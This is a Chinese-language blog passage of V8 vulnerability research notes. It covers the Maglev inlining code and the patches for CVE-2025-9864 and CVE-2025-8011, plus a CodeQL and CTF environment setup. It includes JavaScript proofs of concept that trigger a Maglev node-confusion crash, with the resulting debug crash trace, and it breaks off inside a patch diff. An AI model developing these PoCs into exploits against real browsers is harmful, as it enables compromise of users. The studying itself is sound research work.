Terry1234's blog

我們終會抵達各自的終點

0%

幾天前我在分析 CVE-2025-9864,這篇主要是一些 murmur 和心得,看完後有思考了一下 bug pattern 的模式,然後嘗試找相似的漏洞
覺得可能會有其他用錯 ConversionMode 的地方
所以翻了一下 ConversionMode::kForceHeapNumber 與其他的 ConversionMode 嘗試理解他們的用途

source code 中有提到
Float64ToTagged's conversion mode is used to control whether integer floats should be converted to Smis or to HeapNumbers: kCanonicalizeSmi means that they can be converted to Smis, and otherwise they should remain HeapNumbers.
https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/turboshaft/turbolev-graph-builder.cc;l=5922?q=kCanonicalizeSmi&ss=chromium%2Fchromium%2Fsrc:v8%2F

kCanonicalizeSmi 會去看當前 value 能不能被 smi 表示,可以的話就會產出 smi 相關的 node,否則用 HeapNumber
而 kForceHeapNumber 則一律用 Heap Number
CVE-2025-9864 的成因是沒有考慮到建圖時的用來省略 Write Barrier() 的一項機制,一律使用 kForceHeapNumber 來 allocate 出 Heap Number,導致還在使用中、需要 Write Barrier 的 Heap Number 被 GC 回收形成 UAF

Write Barrier 是一項用來幫助 V8 Garbage Collection 的機制,細節可以看官方文件
https://chromium.googlesource.com/v8/v8.git/+/refs/tags/13.1.147/src/heap/WRITE_BARRIER.md

看完後想到 kForceHeapNumber 會不會有其他問題(e.g. 因為 Maglev 有非常多的 Optimize 機制,開發者可能會沒考慮到這些機制,一律使用 kForceHeapNumber 導致一些奇怪的問題,例如這次的 UAF)
所以就去翻了一下 kForceHeapNumber 在哪裡被用到,發現他在 src/maglev/maglev-inlining.cc 有被用到
用 switch 判斷 ValueRepresentation 來決定怎麼新增 IR 的方式跟 CVE-2025-9864 出問題的地方非常相似
CVE-2025-9864 Patch: https://chromium-review.googlesource.com/c/v8/v8/+/6787941
我懷疑這個地方可能有問題所以打算讀 code 做分析,當時大概是 9/8 晚上
讀到一半覺得太累了去睡覺,醒來後發現 V8 發了一個 Commit 對這個地方做 Patch

Patch : https://chromium-review.googlesource.com/c/v8/v8/+/6917249
對應到的 Issue 是 https://issues.chromium.org/issues/443476912
(V8 的 commit 如果是在修漏洞的話,Commit Message 中會有 Bug ID。雖然沒辦法看到 Issue 細節,但可以用 diff 分析漏洞成因)
等 Issue 開後想看一下什麼時候回報的,疑似差點撿到 V8 的洞 XD

以後有洞一定盡快看完然後找 Variant XD

其他用 kForceHeapNumber 的地方都被修掉了,這個 bug Pattern 應該不會再出現了XD

前陣子看到跟 Maglev Function Inline 有關的漏洞 CVE-2025-8011,所以順便追一下 Maglev 是怎麼處理 Function Inline 的

Maglev Function Inline

MaglevGraphBuilder::TryBuildInlineCall()

[1] -> 要有 feedback vector
[2] -> 看可不可以 Inline
[3] -> 根據 SharedFunctionInfo / CallArgument 決定要不要用 Eager Inline
[4] -> 看起來跟 user 自訂的選項有關
[5] -> 如果 Maglev 判斷這個 Function 不值得馬上 Inline,會把它放進 inlineable_call_ 裡面
後續會由 MaglevInliner 判斷要不要做 Inline
可能是這些較小、值得被展開的 Function 有助於建立 Maglev IR Graph 時的優化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
MaybeReduceResult MaglevGraphBuilder::TryBuildInlineCall(
ValueNode* context, ValueNode* function, ValueNode* new_target,
#ifdef V8_ENABLE_LEAPTIERING
JSDispatchHandle dispatch_handle,
#endif
compiler::SharedFunctionInfoRef shared,
compiler::FeedbackCellRef feedback_cell, CallArguments& args,
const compiler::FeedbackSource& feedback_source) {
DCHECK_EQ(args.mode(), CallArguments::kDefault);
if (!feedback_cell.feedback_vector(broker())) { // [1]
// TODO(verwaest): Soft deopt instead?
TRACE_CANNOT_INLINE("it has not been compiled/run with feedback yet");
return {};
}

float feedback_frequency = 0.0f;
if (feedback_source.IsValid()) {
compiler::ProcessedFeedback const& feedback =
broker()->GetFeedbackForCall(feedback_source);
feedback_frequency =
feedback.IsInsufficient() ? 0.0f : feedback.AsCall().frequency();
}
float call_frequency = feedback_frequency * GetCurrentCallFrequency();

if (!CanInlineCall(shared, call_frequency)) return {}; // [2]
if (ShouldEagerInlineCall(shared, args)) {// [3]
return BuildEagerInlineCall(context, function, new_target, shared,
feedback_cell, args, call_frequency);
}

// Should we inline call?
if (inlining_depth() > max_inline_depth()) {
TRACE_CANNOT_INLINE("inlining depth (" << inlining_depth()
<< ") >= max-depth ("
<< max_inline_depth() << ")");
return {};
}

compiler::BytecodeArrayRef bytecode = shared.GetBytecodeArray(broker());
if (!is_non_eager_inlining_enabled()) { // [4]
graph()->add_inlined_bytecode_size(bytecode.length());
return BuildEagerInlineCall(context, function, new_target, shared,
feedback_cell, args, call_frequency);
}

TRACE_INLINING(" considering " << shared << " for inlining");
auto arguments = GetArgumentsAsArrayOfValueNodes(shared, args);
auto generic_call = BuildCallKnownJSFunction(context, function, new_target,
#ifdef V8_ENABLE_LEAPTIERING
dispatch_handle,
#endif
shared, arguments);

// Note: We point to the generic call exception handler instead of
// jump_targets_ because the former contains a BasicBlockRef that is
// guaranteed to be updated correctly upon exception block creation.
// BuildLoopForPeeling might reset the BasicBlockRef in jump_targets_. If this
// happens, inlined calls within the peeled loop would incorrectly point to
// the loop's exception handler instead of the original call's.
CatchBlockDetails catch_details = GetTryCatchBlockForNonEagerInlining(
generic_call->exception_handler_info());
catch_details.deopt_frame_distance++;
float score = call_frequency / bytecode.length();
MaglevCallSiteInfo* call_site = zone()->New<MaglevCallSiteInfo>(
MaglevCallerDetails{
arguments, &generic_call->lazy_deopt_info()->top_frame(),
known_node_aspects().Clone(zone()), loop_effects_,
unobserved_context_slot_stores_, catch_details, IsInsideLoop(),
/* is_eager_inline */ false, call_frequency},
generic_call, feedback_cell, score);
graph()->inlineable_calls().push(call_site); // [5]
return generic_call;
}

ShouldEagerInlineCall()

  1. 看 bytecode 長度夠不夠短 (len < 27)
  2. 如果有開 –turbolev 的話看 len < 75 和一些 flag,接著檢查參數的 type,如果有的話就 return true
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
bool MaglevGraphBuilder::ShouldEagerInlineCall(
compiler::SharedFunctionInfoRef shared, CallArguments& args) {
compiler::BytecodeArrayRef bytecode = shared.GetBytecodeArray(broker());
if (bytecode.length() < max_inlined_bytecode_size_small()) {// 27
TRACE_INLINING(" greedy inlining "
<< shared << ": small function, skipping max-depth");
return true;
}
// TODO(victorgomes): Evaluate why this is not worth for Maglev, it regresses
// crypto benchmarks.
if (is_turbolev() && inlining_depth() <= max_inline_depth() &&
bytecode.length() <
max_inlined_bytecode_size_small_with_heapnum_in_out() &&
args.mode() == CallArguments::kDefault) {// 75
bool has_float_arg = false;
for (size_t i = 1; i < args.count_with_receiver(); i++) {
if (args[i] &&
(args[i]->value_representation() == ValueRepresentation::kFloat64 ||
args[i]->value_representation() ==
ValueRepresentation::kHoleyFloat64)) {
has_float_arg = true;
break;
}
}
if (has_float_arg) {
TRACE_INLINING(" greedy inlining "
<< shared << ": small function with heap number inputs");
return true;
}
}
return false;
}

CVE-2025-8011 Infomation

(CVE-2025-8011)[430572435][maglev]Type Confusion
https://chromium-review.googlesource.com/c/v8/v8/+/6732846
https://chromereleases.googleblog.com/2025/07/stable-channel-update-for-desktop_22.html

Reported by Shaheen Fazim(@shaheenfazim)

Issue 目前不公開,但有 Patch 可以看

Patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
From f22ca7b61a92d3cd2b856485a55a1519cb11b627 Mon Sep 17 00:00:00 2001
From: Toon Verwaest <verwaest@chromium.org>
Date: Mon, 14 Jul 2025 17:01:40 +0200
Subject: [PATCH] [maglev] Cap inlining at MaxInliningId

Bug: 430572435
Change-Id: I4f20bad6c99e9d3d5a959cb801485dfb117e9884
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6732846
Commit-Queue: Toon Verwaest <verwaest@chromium.org>
Auto-Submit: Toon Verwaest <verwaest@chromium.org>
Reviewed-by: Olivier Flückiger <olivf@chromium.org>
Cr-Commit-Position: refs/heads/main@{#101423}
---

diff --git a/src/codegen/source-position.h b/src/codegen/source-position.h
index 85dcd96..3b0ff0e 100644
--- a/src/codegen/source-position.h
+++ b/src/codegen/source-position.h
@@ -116,6 +116,8 @@
value_ = InliningIdField::update(value_, inlining_id + 1);
}

+ static constexpr int MaxInliningId() { return InliningIdField::kMax; }
+
static const int kNotInlined = -1;
static_assert(kNoSourcePosition == -1);

diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index 861d64b..3d5a3a3 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -8002,6 +8002,13 @@

bool MaglevGraphBuilder::CanInlineCall(compiler::SharedFunctionInfoRef shared,
float call_frequency) {
+ if (static_cast<int>(graph()->inlined_functions().size()) >=
+ SourcePosition::MaxInliningId()) {
+ compilation_unit_->info()->set_could_not_inline_all_candidates();
+ TRACE_CANNOT_INLINE("maximum inlining ids");
+ return false;
+ }
+
if (graph()->total_inlined_bytecode_size() >
max_inlined_bytecode_size_cumulative()) {
compilation_unit_->info()->set_could_not_inline_all_candidates();

看到這裡我想到 CVE-2024-2887,它是一個 WasmType ID 超出最大值導致使用了 general Type 來表示 Wasm Struct 的 Type Confusion 漏洞
但 Maglev Inline ID 沒找到類似的情境
所以猜測可能是 integer overflow 導致這裡拿到了錯的 SharedFunctionInfo
等 Issue 或 PoC 公開後會拿 gdb 追一遍,順便研究怎麼打

1
2
3
4
5
6
7
8
9
10
11
12
std::vector<SourcePositionInfo> SourcePosition::InliningStack(
Isolate* isolate, OptimizedCompilationInfo* cinfo) const {
SourcePosition pos = *this;
std::vector<SourcePositionInfo> stack;
while (pos.isInlined()) {
const auto& inl = cinfo->inlined_functions()[pos.InliningId()];
stack.push_back(SourcePositionInfo(isolate, pos, inl.shared_info));
pos = inl.position.position;
}
stack.push_back(SourcePositionInfo(isolate, pos, cinfo->shared_info()));
return stack;
}

TL;DR : Newly Added IntPtrConstant Node in Maglev Leads to Maglev Node Confusion

https://issues.chromium.org/issues/410136467
Report 提到 Commit da075df0ad2a3c0ff8a1db389704650f4c1cb648 added a new Constant node: IntPtrConstant, which is used for constant folding of TyperArray.length, indicating the length of TyperArray.

Analyzing IntPtr commit

https://chromium.googlesource.com/v8/v8/+/da075df0ad2a3c0ff8a1db389704650f4c1cb648

Float64Array 是一種 TypedArray
TypedArray 的大小要在宣告時指定,之後不能改
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Float64Array

這些 turbolev-graph-builder.cc 中的 Process 都是用在把 Maglev IR 轉成 turboshaft IR 的地方

1
2
3
4
5
6
7
8
9
10
RunMaglevOptimizations(data, compilation_info.get(), maglev_graph);

// TODO(nicohartmann): Should we have source positions here?
data->InitializeGraphComponent(nullptr);

std::optional<BailoutReason> bailout;
maglev::GraphProcessor<NodeProcessorBase> builder(
data, data->graph(), temp_zone,
compilation_info->toplevel_compilation_unit(), &bailout);
builder.ProcessGraph(maglev_graph);

看幾個例子
V<node> 是 Turboshaft IR

Example 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// src/compiler/turboshaft/turbolev-graph-builder.cc
maglev::ProcessResult Process(maglev::IntPtrConstant* node,
const maglev::ProcessingState& state) {
// cast node->value as word-size ptr then create mapping(?
SetMap(node, __ WordPtrConstant(node->value()));
return maglev::ProcessResult::kContinue;
}

void SetMap(maglev::NodeBase* node, V<Any> idx) {
[...]
node_mapping_[node] = idx;
}

V<WordPtr> WordPtrConstant(uintptr_t value) {
return V<WordPtr>::Cast(WordConstant(value, WordRepresentation::WordPtr()));
}

Example2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// src/compiler/turboshaft/turbolev-graph-builder.cc
maglev::ProcessResult Process(maglev::LoadUnsignedIntTypedArrayElement* node,
const maglev::ProcessingState& state) {
if (node->has_off_heap_constant_typed_array()) {
SetMap(node, BuildConstantTypedArrayLoad(node->constant_typed_array(),
Map<Word32>(node->index_input()),
node->elements_kind()));
} else {
SetMap(node, BuildTypedArrayLoad(Map<JSTypedArray>(node->object_input()),
Map<Word32>(node->index_input()),
node->elements_kind()));
}
return maglev::ProcessResult::kContinue;
}

V<Untagged> BuildTypedArrayLoad(V<JSTypedArray> typed_array, V<Word32> index,
ElementsKind kind) {
// Use LoadField to load attribute from typed_array
auto [data_pointer, base_pointer] =
GetTypedArrayDataAndBasePointers(typed_array);
return __ LoadTypedElement(typed_array, base_pointer, data_pointer,
__ ChangeUint32ToUintPtr(index),
GetArrayTypeFromElementsKind(kind));
}

Optimizing Property Load of TypedArray::Length

條件符合時直接建立一個 IntPtrConstant Node
原先需要先計算 length 的 offset,再從 object 上取值
現在可以直接用這個 Node 取值來加速

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
ReduceResult MaglevGraphBuilder::BuildLoadTypedArrayLength(
ValueNode* object, ElementsKind elements_kind) {
DCHECK(IsTypedArrayOrRabGsabTypedArrayElementsKind(elements_kind));
bool is_variable_length = IsRabGsabTypedArrayElementsKind(elements_kind);

if (!is_variable_length) {
if (auto const_object = object->TryGetConstant(broker())) {
// TODO(marja): Add TryGetConstant<JSTypedArray>().
if (const_object->IsJSTypedArray()) {
auto const_typed_array = const_object->AsJSTypedArray();
if (!const_typed_array.is_on_heap() &&
!IsRabGsabTypedArrayElementsKind(
const_typed_array.elements_kind(broker()))) {
size_t length = const_typed_array.length(broker());
static_assert(ArrayBuffer::kMaxByteLength <=
std::numeric_limits<intptr_t>::max());
return GetIntPtrConstant(static_cast<intptr_t>(length));
}
}
}

// Note: We can't use broker()->length_string() here, because it could
// conflict with redefinitions of the TypedArray length property.

if (ValueNode* length = known_node_aspects().TryFindLoadedConstantProperty(
object,
KnownNodeAspects::LoadedPropertyMapKey::TypedArrayLength())) {
return length;
}
}

ValueNode* result = AddNewNode<LoadTypedArrayLength>({object}, elements_kind);
if (!is_variable_length) {
RecordKnownProperty(
object, KnownNodeAspects::LoadedPropertyMapKey::TypedArrayLength(),
result, true, compiler::AccessMode::kLoad);
}
return result;
}

看完檢查的邏輯後我想確認 maglev 中的 constant if (auto const_object = object->TryGetConstant(broker())) 是什麼,所以做了底下的小實驗
這個會通過檢查進到 GetIntPtrConstant ,嘗試 reuse 或建立 IntPtrConstant Node

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const ta = new Uint8Array([1, 2, 3, 4, 5]);

function foo() {
const len = ta.length;
let sum = 0;
for (let i = 0; i < len; i++) {
sum += ta[i];
}
return sum / len;
}

%PrepareFunctionForOptimization(foo);
for (let i = 0; i < 10_000; ++i) foo();
%OptimizeMaglevOnNextCall(foo);
foo();

但底下這個不會,推測是 Maglev 無法判斷 arr 會不會變動所以沒把他當 constant(因為他是 parameter)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function processTypedArray(arr) {
const len = arr.length;

let sum = 0;
for (let i = 0; i < len; i++) {
sum += arr[i];
}

return sum / arr.length;
}

const array = new Uint8Array([1, 2, 3, 4, 5]);

for (let i = 0; i < 10000; i++) {
processTypedArray(array);
}

Patch Analysis

https://chromium-review.googlesource.com/c/v8/v8/+/6455743

MaglevAssembler::MaterialiseValueNode 增加了對 IntPtrConstant 的 case 檢查
看到這邊的猜測是踩到 DCHECK(!value->allocation().IsConstant()) 導致 crash,但在 release 版沒有 DCHECK 所以可以走到後面導致 Node Confusion

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
// src/maglev/maglev-assembler.cc
void MaglevAssembler::MaterialiseValueNode(Register dst, ValueNode* value) {
switch (value->opcode()) {
case Opcode::kInt32Constant: {
int32_t int_value = value->Cast<Int32Constant>()->value();
if (Smi::IsValid(int_value)) {
Move(dst, Smi::FromInt(int_value));
} else {
MoveHeapNumber(dst, int_value);
}
return;
}
case Opcode::kIntPtrConstant: {
intptr_t intptr_value = value->Cast<IntPtrConstant>()->value();
if (intptr_value <= std::numeric_limits<int>::max() &&
Smi::IsValid(static_cast<int>(intptr_value))) {
Move(dst, Smi::FromInt(static_cast<int>(intptr_value)));
} else {
MoveHeapNumber(dst, intptr_value);
}
return;
}
case Opcode::kUint32Constant: {
uint32_t uint_value = value->Cast<Uint32Constant>()->value();
if (Smi::IsValid(uint_value)) {
Move(dst, Smi::FromInt(uint_value));
} else {
MoveHeapNumber(dst, uint_value);
}
return;
}
case Opcode::kFloat64Constant: {
double double_value =
value->Cast<Float64Constant>()->value().get_scalar();
int smi_value;
if (DoubleToSmiInteger(double_value, &smi_value)) {
Move(dst, Smi::FromInt(smi_value));
} else {
MoveHeapNumber(dst, double_value);
}
return;
}
default:
break;
}
DCHECK(!value->allocation().IsConstant());
DCHECK(value->allocation().IsAnyStackSlot());
using D = NewHeapNumberDescriptor;
DoubleRegister builtin_input_value = D::GetDoubleRegisterParameter(D::kValue);
MemOperand src = ToMemOperand(value->allocation());
switch (value->properties().value_representation()) {
case ValueRepresentation::kInt32: {
Label done;
TemporaryRegisterScope temps(this);
Register scratch = temps.AcquireScratch();
Move(scratch, src);
SmiTagInt32AndJumpIfSuccess(dst, scratch, &done, Label::kNear);
// If smi tagging fails, instead of bailing out (deopting), we change
// representation to a HeapNumber.
Int32ToDouble(builtin_input_value, scratch);
CallBuiltin<Builtin::kNewHeapNumber>(builtin_input_value);
Move(dst, kReturnRegister0);
bind(&done);
break;
}
case ValueRepresentation::kUint32: {
Label done;
TemporaryRegisterScope temps(this);
Register scratch = temps.AcquireScratch();
Move(scratch, src);
SmiTagUint32AndJumpIfSuccess(dst, scratch, &done, Label::kNear);
// If smi tagging fails, instead of bailing out (deopting), we change
// representation to a HeapNumber.
Uint32ToDouble(builtin_input_value, scratch);
CallBuiltin<Builtin::kNewHeapNumber>(builtin_input_value);
Move(dst, kReturnRegister0);
bind(&done);
break;
}
case ValueRepresentation::kFloat64:
LoadFloat64(builtin_input_value, src);
CallBuiltin<Builtin::kNewHeapNumber>(builtin_input_value);
Move(dst, kReturnRegister0);
break;
case ValueRepresentation::kHoleyFloat64: {
Label done, box;
JumpIfNotHoleNan(src, &box, Label::kNear);
LoadRoot(dst, RootIndex::kUndefinedValue);
Jump(&done);
bind(&box);
LoadFloat64(builtin_input_value, src);
CallBuiltin<Builtin::kNewHeapNumber>(builtin_input_value);
Move(dst, kReturnRegister0);
bind(&done);
break;
}
case ValueRepresentation::kIntPtr: {
Label done;
TemporaryRegisterScope temps(this);
Register scratch = temps.AcquireScratch();
Move(scratch, src);
SmiTagIntPtrAndJumpIfSuccess(dst, scratch, &done, Label::kNear);
// If smi tagging fails, instead of bailing out (deopting), we change
// representation to a HeapNumber.
IntPtrToDouble(builtin_input_value, scratch);
CallBuiltin<Builtin::kNewHeapNumber>(builtin_input_value);
Move(dst, kReturnRegister0);
bind(&done);
break;
}
case ValueRepresentation::kTagged:
UNREACHABLE();
}
}

MaglevAssembler::MaterialiseValueNode 只有在 maglev-code-generator 中的 ExceptionHandlerTrampolineBuilder Class 中被使用,對應到的 Method 是 EmitMaterialisationsAndPushResultsEmitPopMaterialisedResults
可以發現它會檢查 if (IsConstantNode(move.source->opcode())) 來決定要不要呼叫 MaterialiseValueNode(),所以只要看 EmitPopMaterialisedResults

追完後會發現 call chain 會長這樣(上面可能還有一些東西但不用看)
MaglevCodeGenerator::Assemble() ->
MaglevCodeGenerator::EmitCode() ->
MaglevCodeGenerator::EmitExceptionHandlerTrampolines() ->
ExceptionHandlerTrampolineBuilder::Build() ->
ExceptionHandlerTrampolineBuilder::EmitTrampolineFor() ->
ExceptionHandlerTrampolineBuilder::EmitPopMaterialisedResults() ->
MaglevAssembler::MaterialiseValueNode()

所以猜測在 try-catch 中 access 是 constant 的 TypedArray.length 就能觸發,寫了以下的 PoC
但它不會進 MaglevAssembler::MaterialiseValueNode()
看產出來的圖發現 exceptional handler block 不會有跟 a1 有關的東西
可能是 Maglev 認為 Exceptional handler 不需要 a1 的資訊?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const f64Arr = new Float64Array();

function opt_me() {
try {
f64Arr.length;
throw "err";
} catch(e) {
console.log(e);
}
}

%PrepareFunctionForOptimization(opt_me);
opt_me();
%OptimizeMaglevOnNextCall(opt_me);
opt_me();

想不到要怎麼把 a1 帶進 exceptional handler 的 basic block 所以去翻作者的 PoC
看起來是用 fuzzer 產的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const f64Arr = new Float64Array();
f64Arr.buffer;

function opt_me(a0) {
for (let i = 0; i < 50; i++) {
}
try {
a0[0];
a0 = f64Arr.length;
throw "err";
} catch(e) {
console.log(e);
}
}

%PrepareFunctionForOptimization(opt_me);
opt_me(f64Arr);
opt_me(f64Arr);
%OptimizeMaglevOnNextCall(opt_me);
opt_me();

拿來改了一下然後印出 Maglev IR graph (d8 –print-maglev-graphs poc.js)
發現它多了 23/17: φᵀₑ a0 (compressed) → [rcx|R|t] (spilled: [stack:0|t]), live range: [23-33]
看起來是要把 a0 帶進去 exceptional handler(a0[0] 會多一個 )throw 讓 exception phi 出現

ModifiedPoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

function opt_me(a0) {
try {
const f64Arr = new Float64Array();
a0[0];
a0 = f64Arr.length;
throw "err";
} catch(e) {
console.log(e);
}
}

%PrepareFunctionForOptimization(opt_me);
opt_me(f64Arr);
%OptimizeMaglevOnNextCall(opt_me);
opt_me();
/*
#
# Fatal error in ../../src/maglev/maglev-assembler.cc, line 307
# Debug check failed: !value->allocation().IsConstant().
#
#
#
#FailureMessage Object: 0x7ffff5b09d28
==== C stack trace ===============================

/home/terry1234/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7c78ddc9a3de]
/home/terry1234/v8/out/x64.debug/libv8_libplatform.so(+0x4a7dd) [0x7c78ddc0c7dd]
/home/terry1234/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x205) [0x7c78ddc750b5]
/home/terry1234/v8/out/x64.debug/libv8_libbase.so(+0x4ba6c) [0x7c78ddc74a6c]
/home/terry1234/v8/out/x64.debug/libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x4d) [0x7c78ddc7518d]
/home/terry1234/v8/out/x64.debug/libv8.so(v8::internal::maglev::MaglevAssembler::MaterialiseValueNode(v8::internal::Register, v8::internal::maglev::ValueNode*)+0x213) [0x7c78da760d73]
/home/terry1234/v8/out/x64.debug/libv8.so(+0x8979728) [0x7c78da779728]
/home/terry1234/v8/out/x64.debug/libv8.so(+0x8978b33) [0x7c78da778b33]
/home/terry1234/v8/out/x64.debug/libv8.so(+0x8975f95) [0x7c78da775f95]
/home/terry1234/v8/out/x64.debug/libv8.so(v8::internal::maglev::MaglevCodeGenerator::EmitExceptionHandlerTrampolines()+0xfc) [0x7c78da775ccc]
/home/terry1234/v8/out/x64.debug/libv8.so(v8::internal::maglev::MaglevCodeGenerator::EmitCode()+0x199) [0x7c78da773129]
/home/terry1234/v8/out/x64.debug/libv8.so(v8::internal::maglev::MaglevCodeGenerator::Assemble()+0x1c) [0x7c78da772e3c]
/home/terry1234/v8/out/x64.debug/libv8.so(v8::internal::maglev::MaglevCompiler::Compile(v8::internal::LocalIsolate*, v8::internal::maglev::MaglevCompilationInfo*)+0x1630) [0x7c78da855200]
/home/terry1234/v8/out/x64.debug/libv8.so(v8::internal::maglev::MaglevCompilationJob::ExecuteJobImpl(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x69) [0x7c78da9b50a9]
/home/terry1234/v8/out/x64.debug/libv8.so(v8::internal::OptimizedCompilationJob::ExecuteJob(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x128) [0x7c78d92b17f8]
/home/terry1234/v8/out/x64.debug/libv8.so(+0x74cc577) [0x7c78d92cc577]
/home/terry1234/v8/out/x64.debug/libv8.so(+0x74bd84e) [0x7c78d92bd84e]
/home/terry1234/v8/out/x64.debug/libv8.so(v8::internal::Compiler::CompileOptimized(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::ConcurrencyMode, v8::internal::CodeKind)+0x3a4) [0x7c78d92bef04]
/home/terry1234/v8/out/x64.debug/libv8.so(+0x8752b85) [0x7c78da552b85]
/home/terry1234/v8/out/x64.debug/libv8.so(+0x874cc3f) [0x7c78da54cc3f]
/home/terry1234/v8/out/x64.debug/libv8.so(v8::internal::Runtime_OptimizeMaglevEager(int, unsigned long*, v8::internal::Isolate*)+0x151) [0x7c78da54c891]
/home/terry1234/v8/out/x64.debug/libv8.so(+0x68984bd) [0x7c78d86984bd]
Trace/breakpoint trap (core dumped)

後續會用 MemOperand src = ToMemOperand(value->allocation()) 導致 node confusion
應該是有某種原因導致這邊不能是 Constant,所以才做 switch 檢查 Constant 並額外處理
有試著找其他 Varient 但沒找到,所以沒有往下追 constant / non-constant node confusion 後會發生什麼和能不能 Exploit
追最新 commit 有看到類似的情境的話會再回來研究這部分

前陣子因為看到一個蠻有趣的 bug Pattern,想找看看 Variant
所以接觸到了 CodeQL
稍微記錄一下 V8 的 CodeQL database 怎麼建

首先要 fetch V8 source code
https://v8.dev/docs/source-code
然後裝 CodeQL

之後用 V8 提供的 gn 產編譯用的參數檔,等等 CodeQL 會用 ninja 根據這個參數檔編譯 d8 並從中獲取資訊

1
gn gen out/CodeQL --export-compile-commands --args='is_component_build = true is_debug = true symbol_level = 2 target_cpu = "x64" v8_enable_sandbox = true v8_enable_backtrace = true v8_enable_fast_mksnapshot = true v8_enable_slow_dchecks = true v8_optimized_debug = false'

之後就可以建立 V8 的 CodeQL database

1
codeql database create ~/codeql-dbs/v8-cpp --language=cpp --source-root . --command='ninja -C out/v8-codeql d8'

Bug Pattern 和寫出來的 CodeQL 就先不放了,找出來的 case 有點多,還在想要怎麼篩選會比較好
有想過用這邊文章的方式,不限制太多條件
Our new perspective views CodeQL not as a definitive bug-finding tool, but as a guide to point us in the right direction.
他們 Query 方式是找所有 copy 的地方
但我沒想到在這個 V8 bug pattern 上比較好的做法
https://bughunters.google.com/blog/5800341475819520/a-fuzzy-escape-a-tale-of-vulnerability-research-on-hypervisors

文章中的 CodeQL Query

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Objective: find all functions that do some copy operation

import cpp

from Function copyFunction, FunctionCall functionCall,
where
# First get all the functions that have copy in the name
copyFunction.getName().matches("%\\_copy%") and not
copyFunction.getName().matches("%trace%") and

# Then get where they are used
functionCall.getTarget() = copyFunction and
functionCall.getLocation().toString().matches("%/hw/%")
select copyFunction.getName(), functionCall.getLocation()

看了這篇文章後想自己嘗試看看,弄了好幾天總算搞出來了 owob
https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/#setup

環境搭建

使用 Ubuntu 20.04
patch 連結: https://github.com/google/google-ctf/blob/master/2018/finals/pwn-just-in-time/attachments/addition-reducer.patch

1
2
3
4
git reset --hard e0a58f83255d1dae907e2ba4564ad8928a7dedf4
git apply addition-reducer.patch
gn gen out/x64.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu ="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true v8_untrusted_code_mitigations = false'
ninja -C out/x64.release d8

patch 分析

題目給了兩個 patch

nosandbox.patch

針對 chromium 的 patch,用來把 chrome 的 sandbox 拔掉,不過我這題的 chrome 一直 build 失敗就沒用這個了,只上 V8 的 patch 也不影響解題

addition-reducer.patch

針對 V8 的 patch,新增了一個 reducer
當節點是 kNumberAdd、左節點是 kNumberAdd、右節點是 kNumberConstant 時會嘗試合併節點

合併前的節點

合併後的節點

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
diff --git a/BUILD.gn b/BUILD.gn
index c6a58776cd..14c56d2910 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1699,6 +1699,8 @@ v8_source_set("v8_base") {
"src/compiler/dead-code-elimination.cc",
"src/compiler/dead-code-elimination.h",
